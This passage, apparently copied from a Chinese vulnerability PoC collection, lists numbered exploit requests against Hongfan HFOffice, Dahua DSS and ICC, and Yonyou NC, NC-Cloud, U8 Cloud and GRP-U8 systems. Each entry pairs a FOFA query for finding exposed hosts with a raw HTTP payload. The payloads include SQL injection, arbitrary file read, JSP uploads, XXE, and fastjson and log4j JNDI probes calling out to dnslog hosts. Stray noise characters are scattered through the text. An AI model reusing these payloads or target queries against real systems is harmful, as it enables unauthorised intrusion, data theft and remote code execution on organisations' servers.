# r  a# U- @6 e9 F! MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
, _' F" w! F0 p; `7 w, cConnection: close
" ^% d5 w; ^# l/ A) w/ v% p1 zAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
2 Z; x$ W7 p, X' k9 L$ \Accept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip
7 `" R3 Z- v4 _+ ^0 r

+ `0 K* j# j8 }16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
) a% E' A" w& I8 x; v  nGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
: O* e" S; @* GConnection: close
  a6 Q: @! H" S- m4 bAccept: */*
Accept-Language: en
7 b8 o! `! t1 `- @) O, G1 y" iAccept-Encoding: gzip


17. 大华 DSS itcBulletin SQL 注入
# y6 t8 t4 R. J2 GFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
. R6 x4 P- `( Q: X7 f: N% q7 OHost: x.x.x.x
6 j4 Z# l* D* d& a. L2 AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! |# o3 Q  p& O) |' sConnection: close
. R$ O; ~! M2 k' }* w5 Q7 ^- I' {Content-Length: 345
Accept-Encoding: gzip
4 j0 C1 J" w, b# k! {5 X
; [( s& K1 U+ F* T3 z<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
. Q0 m+ K7 v0 s% _) `<s11:Body>
; m& {  V: y/ t5 C7 D" J# `    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
" O* W6 ^0 \# A& E$ D/ s$ @4 `: ?      <netMarkings>
: ?2 X* }- i. g& o4 k/ C5 J2 f       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
8 A+ ^' F& R- j7 H& B      </netMarkings>
1 x2 `6 J  g6 ~. X5 ?& _6 S/ C    </ns1:deleteBulletin>
" U  s( O* i! y; S  </s11:Body>
</s11:Envelope>

( @& k8 u' s6 b( I, w8 |' S
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
7 X+ a" Y) p$ i  P6 ]GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
1 M4 g* T) `9 M. K* t4 kHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  o- w; d0 k/ F2 S3 `Accept-Encoding: gzip, deflate
2 I& ^4 I0 |; W. ~Accept: */*
Connection: keep-alive
* _% E/ F: }% d: Y& I" \

/ T$ k$ [9 u( B, t, s* D, r
9 D) Y, L8 B3 G19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
* h, l1 R: D+ ~  p3 ?FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
# }9 \' l% G/ I2 p& gHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
- B9 n7 r( m- n3 |Accept-Encoding: gzip, deflate
Accept: */*
0 X$ n* }' t+ K$ k) vConnection: keep-alive


% D* k4 Y6 t- V+ T+ j, j% `20. 大华ICC智能物联综合管理平台任意文件读取
5 a; c# e6 R3 ^. T! o3 Y, V/ iFOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
4 f* u* d/ D6 L6 L1 D. }' HAccept: */*
: N! Q/ J. k* g+ ]4 QAccept-Language: en
/ z, y, ~- w3 z9 hAccept-Encoding: gzip
, v9 ~$ t# _! Q8 Q* x& M1 M
+ k7 }. [8 ?) n5 Z
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
, E4 f7 ]6 r! LHost: x.x.x.x
. j9 }9 x# j. H# i8 w6 F/ bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" t' r! K: ?+ i9 g1 A) |Content-Length: 161
( L9 r4 ^3 e! f% l# K) B4 dAccept-Encoding: gzip
Connection: close
1 p5 W" F! Q4 sContent-Type: application/json;charset=utf-8

8 U% J& ^- A* ]3 A! D{
& |% n: j. \; E  u"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
3 J: i0 H, }& y' o    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}

- n! x4 j! L9 D  W- k4 X3 ]
0 o, j  G6 x0 u2 M& T, k, b# s22. 大华ICC智能物联综合管理平台 log4j远程代码执行
9 b' k- \# b+ h, m# Y+ a* `  hFOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
6 ]0 z) e3 x* ?( m4 k, ]Host: your-ip
% N' l3 C$ f8 ^6 p. h, C7 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
3 ~& y  g. {7 [9 n
7 @2 U& p- d' b1 M{
"loginName":"${jndi:ldap://dnslog}"
3 @4 A. Q7 Y! S* a; P5 i}

/ N6 B% e! A' \& _" R3 t
% g1 e# q* W  i8 z9 J
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
4 v6 S( B4 T  f3 MHost: your-ip
: F0 F7 e# t! l2 s! d7 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% u) H3 p4 K+ o  _Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

' B8 I& Y' R$ C: w2 \" \{
7 |$ ?. Q9 f2 m: s    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
8 a' \7 [6 H/ q$ N1 w}
7 H$ p7 a' F5 E+ Z: y$ J6 m
; z% }5 e3 x: X7 c5 F. p
; H% O6 w9 n+ o- }+ k24. 用友NC 6.5 accept.jsp任意文件上传
( `8 S: O: R/ x' C1 O" m. Q6 ?- ^FOFA：icon_hash="1085941792"
6 R7 B) ]/ A$ \/ n$ H( T& M7 {POST /aim/equipmap/accept.jsp HTTP/1.1
+ R) k) d1 A) ^0 yHost: x.x.x.x
8 C2 @1 N& U# u5 C3 ?User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
6 V4 q: v. U2 I5 j$ U- z' Q( q1 LConnection: close
; ^6 S% b0 ]# p$ Q: Q+ |Content-Length: 449
5 a: d. H0 [3 ]: r3 ZAccept: */*
Accept-Encoding: gzip
: d3 ]3 `1 I: ~5 n) _! y/ ZContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
5 Q7 W) D" O' ?, t# n: vContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
7 ^/ t' E. l. b" @4 P& rContent-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
5 A0 o9 [) F! s, C1 d5 p-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
) L7 C4 i# M8 @( h; t  J" V# S
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
6 k$ [- X% T0 b% u( ]1 [

25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
- ~! s3 x# D* Q- R. H7 d. vPOST /portal/registerServlet HTTP/1.1
" S) Y# B' z2 _" yHost: your-ip
0 a. E* Y( r7 |/ iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
$ a. h1 Y& O3 J6 A' ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
( S' v( U* h* i! y' QAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
4 Y/ m  H6 x7 w  V6 B6 _
' N# ]3 c! m, a- n% `type=1&dsname=ldap://dnslog
  F% j1 Y" Y# r2 w
% o6 Y* b( T6 g" o
% k( P; O  k3 ?  |- g
  Z* J: L/ d3 A# l. _26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


27. 用友 NC showcontent SQL注入
$ J( m0 r" x) O4 G9 TFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
! |5 e+ q" i$ r5 i* uConnection: close
* G7 @7 ^* K$ a! ?' t1 p4 ^Content-Type: text/xml; charset=utf-8


28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
! ^/ }) V! |  j; T5 a# Y& F- jPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
* O: |8 r/ L* zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
2 e  J$ V3 {" W) WConnection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
' y& Y! G& @: {Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

2 u, U4 W& D' Y1 ~6 J$ _
/uapim/static/pages/nc/head.jsp
. N" v* v7 p' _) y' \# l
' w! Z2 a) }" M- V29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
. W- o4 ?: ?. R9 c9 THost: your-ip
! C( D8 L: H4 T  }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 i8 _' M0 o4 k0 Q9 a6 R5 nContent-Type: application/x-www-form-urlencoded
3 C) {( e: x  f3 x5 H& JAccept-Encoding: gzip, deflate
Accept: */*
, U( c6 p9 ?# M# N. E. v$ ^- YConnection: keep-alive

) z( i( Y& q, W$ s0 v8 L! s2 D
30. 用友NC importPml SQL注入
. ~0 H1 `, J9 R" B- V7 jFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
" c, Y* h( h6 C0 K4 s& {/ ^- OHost: your-ip
! E" R) K! f* e( s. qContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

7 d! w5 j9 J* _2 I------WebKitFormBoundaryH970hbttBhoCyj9V
( {$ X+ D- Y: e/ ~% J9 UContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--

+ T- m* U/ u2 p! O  u
7 [$ Z, s( p" G( j0 @/ S31. 用友NC runStateServlet SQL注入
2 R3 z% m! m% o7 P  e$ d: m$ Eversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
& g$ c: d; n5 J/ b7 }, YGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
( g' ?; ^% J- [2 g7 D' z4 z2 jHost: host
8 M7 `2 _; p: Y$ t* E5 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
# z  P2 C' E$ w& e" |4 i7 }* uContent-Type: application/x-www-form-urlencoded
' q0 k; c6 }; v! V  F7 K( j7 i

4 U  f5 X9 j3 ^" D! @32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
7 J# ]/ P8 w' S- q) j7 o+ fFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
8 V( r- _. f! d+ hConnection: keep-alive
4 V* J. b$ B5 ~- q" e

33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
% `4 G$ b0 n5 [+ gGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
+ J) q* Q1 F2 [: a& F$ TAccept-Encoding: gzip, deflate
. {- ^% T8 H" ?Accept: */*
% z0 c1 G% [5 gConnection: keep-alive


1 d, _, ~9 K" o, m0 Z34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
. O1 z( f0 a% g) c4 f9 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 H5 b: }- k# ^4 z( |Content-Type: application/x-www-form-urlencoded
* }7 U  k. J& J! l4 MAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

% H- X3 `& S0 Z5 J7 I8 ^/ ~
+ I0 U. _# T3 Y0 @35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
& u1 v3 E, s' T- g: kPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
# V2 c9 v! Q" t6 wConnection: close
/ [  g# f7 @) c7 h5 \& O( i. LaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
: |! R& j3 m$ E) S1 U+ x& OContent-Length: 190
# ?& x: h/ G$ G2 i7 \2 ^Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

' ^3 a% f/ K1 d/ u<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
- I$ g4 g2 @6 W, K% z$ Y* D

/ W- j) s; _! ^+ l. D. S36. 用友NC-Cloud soapFormat XXE
. x4 K/ y( D( L# ]6 D2 v. pFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
# L. j5 F9 `, Y3 y8 d# ]Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
1 K, k! V4 R4 u: `7 z! b7 K  s2 O5 k9 ZContent-Length: 263
( F! ?0 O1 i9 M' B5 w6 E# s* tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 W7 d; \8 N4 o5 d/ s7 X9 U4 EConnection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

  g* ]5 @1 Z1 J' S9 k  Bmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
8 ?  @- F  ?4 z3 {1 a
# P# y! g5 P3 l0 L0 g
% c4 }8 V& U  M- J) A+ A0 {/ `6 ^37. 用友NC-Cloud IUpdateService XXE
) ^5 X1 J1 \3 ]3 Z, H- ~FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
* o" X: y$ y; J! c$ i. l0 GPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
# M$ G9 f+ u4 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
! k' B, @$ X7 d1 V1 l% e" [Content-Length: 421
6 F+ C  G. B5 J3 K  E" @7 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
$ F) ?- R, n$ V8 S2 r: c1 o8 CContent-Type: text/xml;charset=UTF-8
" c/ @5 k: |; J$ U, c- \2 {SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

2 A8 ?5 M6 r/ y. [8 C8 |& N# E# w<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
4 ^7 G! x4 F. U! {2 O7 F<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
<!--type: string-->
4 L2 a# B9 N$ ^<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
1 L& P  S' ?5 X( i9 X4 d, _% h, S</soapenv:Envelope>

5 E2 z' w+ Q& }, d7 D% t, c

38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
6 ~( c3 l: s3 ]% T7 pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
, n  s9 g  u. lContent-Length: 260
- H( m# W6 X( [9 MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
! l+ b1 ^0 @. t/ R8 f
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
. s  S( M7 w2 Q3 h; B# s" ^
% |# X+ J3 J/ w1 i1 s, a
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
+ ]  I/ `- F( k" Q% t  _Host: 192.168.86.128:8089
: i4 f& l9 f" p7 {* pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
) T1 T. V; I. _& sConnection: close
# p! ~+ P5 k9 @% x* r4 PContent-Length: 85
! Z( Y8 w! Y9 k  d, v3 ~3 i/ aAccept: */*
/ i( J# U4 W8 }) xAccept-Language: en
Content-Type: application/x-www-form-urlencoded
: }6 d0 F  h5 R4 a, ?& vX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
5 `& c) D8 j* ?! c1 A+ S
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
- G- l& V7 A) z/ s
" o, o. r9 h& R
/ I) {$ W0 M" q; }, v9 e7 o" e2 _40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
4 [; e' |/ B' w: T0 UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close
! L; u) l9 b: T
+ F/ B1 Y  ?+ }; ^<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
1 e& A4 d/ t5 G6 F
6 o( p" z) [1 Y0 {  S/ A$ @( w
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
' l# z5 n0 _9 N4 W; u7 x% JFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 `+ _9 o' c) T- K% ~Content-Type: application/json
+ C+ X& _6 h1 o' }Accept-Encoding: gzip
8 s7 X7 ~8 Q* N' c- y' CConnection: close


. L6 o" U1 v2 p# n# A42. 用友GRP-U8 SmartUpload01 文件上传
- O& N: g/ \- A( E' U6 S  D" {! gFOFA：app="用友-GRP-U8"
" o7 B; h' X" @" I: t+ e& HPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
$ ^8 p% [  ~, U- e1 W) ~# C* kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
3 Z' ]' |* U4 Y" w3 ^5 X
PAYLOAD
( l) K8 @4 p' j+ ?! R& c
+ E4 W2 P6 ]+ i6 g9 g6 R
1 x# x; X$ B5 l. z( n6 Chttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

7 |3 d5 E8 \4 J7 L8 X& b43. 用友GRP-U8 userInfoWeb SQL注入致RCE
# J6 w8 R# n, X1 @; JFOFA：app="用友-GRP-U8"
8 O" `6 i) }+ X' J! ePOST /services/userInfoWeb HTTP/1.1
) g! G$ V. \2 N/ N. pHost: your-ip
$ w1 k+ i$ }) E4 Z( [8 l' iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 r; K( C1 E) D+ hAccept-Encoding: gzip, deflate
1 l% U! s1 r: Q' xAccept-Language: zh-CN,zh;q=0.9
. h/ t' B6 n/ w# R; FConnection: close
: S% K* B6 B6 G% TSOAPAction:
Content-Type: text/xml;charset=UTF-8

( X! Q8 f0 p  I  w<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
0 G7 K% p* }; A! J' e   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
8 S, q/ u% x/ e& O% W  p; K, i2 b         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
5 E) ?1 g0 ]  p4 Q; Z$ j      </ser:getUserNameById>
   </soapenv:Body>
1 c. Z( F8 ]5 N# O4 p</soapenv:Envelope>
; r: b) q  j& i* }) `8 W2 V: \7 U

4 n. Z6 @9 T( _44. 用友GRP-U8 bx_dj_check.jsp SQL注入
& |; u! d6 O0 Q) wFOFA:app="用友-GRP-U8"
2 c; e) O8 M, d9 X9 W* LGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
2 G9 s; d: d" `3 z$ ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
* T$ [/ P# P0 ~7 {  ?' jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ z3 M2 P2 t4 K# pAccept-Encoding: gzip, deflate
3 g6 F7 i1 }7 @8 DAccept-Language: zh-CN,zh;q=0.9
Connection: close

( F# c% K3 y( g: v% ]
45. 用友GRP-U8 ufgovbank XXE
  _  |1 x/ k% h0 ?2 C1 c  K3 ?FOFA：app="用友-GRP-U8"
3 _6 p3 d& V# F5 l% XPOST /ufgovbank HTTP/1.1
2 `7 o9 }/ ~) Q# x% b0 R1 xHost: 192.168.40.130:222
5 @1 c! J2 ?, Y& G! b" q* I" ^* oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
. C7 t4 @! I- U1 u: eConnection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
9 D6 A3 O7 t( Q) m
reqData=<?xml version="1.0"?>
( D! D$ @4 q$ x7 y7 u) o4 l. t" i<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
4 ^7 Q+ k3 i. T8 v7 M  z* C
/ L6 N: W6 [& L0 z
6 m" b# q. L0 C8 |6 n46. 用友GRP-U8 sqcxIndex.jsp SQL注入
% c8 Q! v. T% P+ Q, k$ z( g7 ]FOFA：app="用友-GRP-U8"
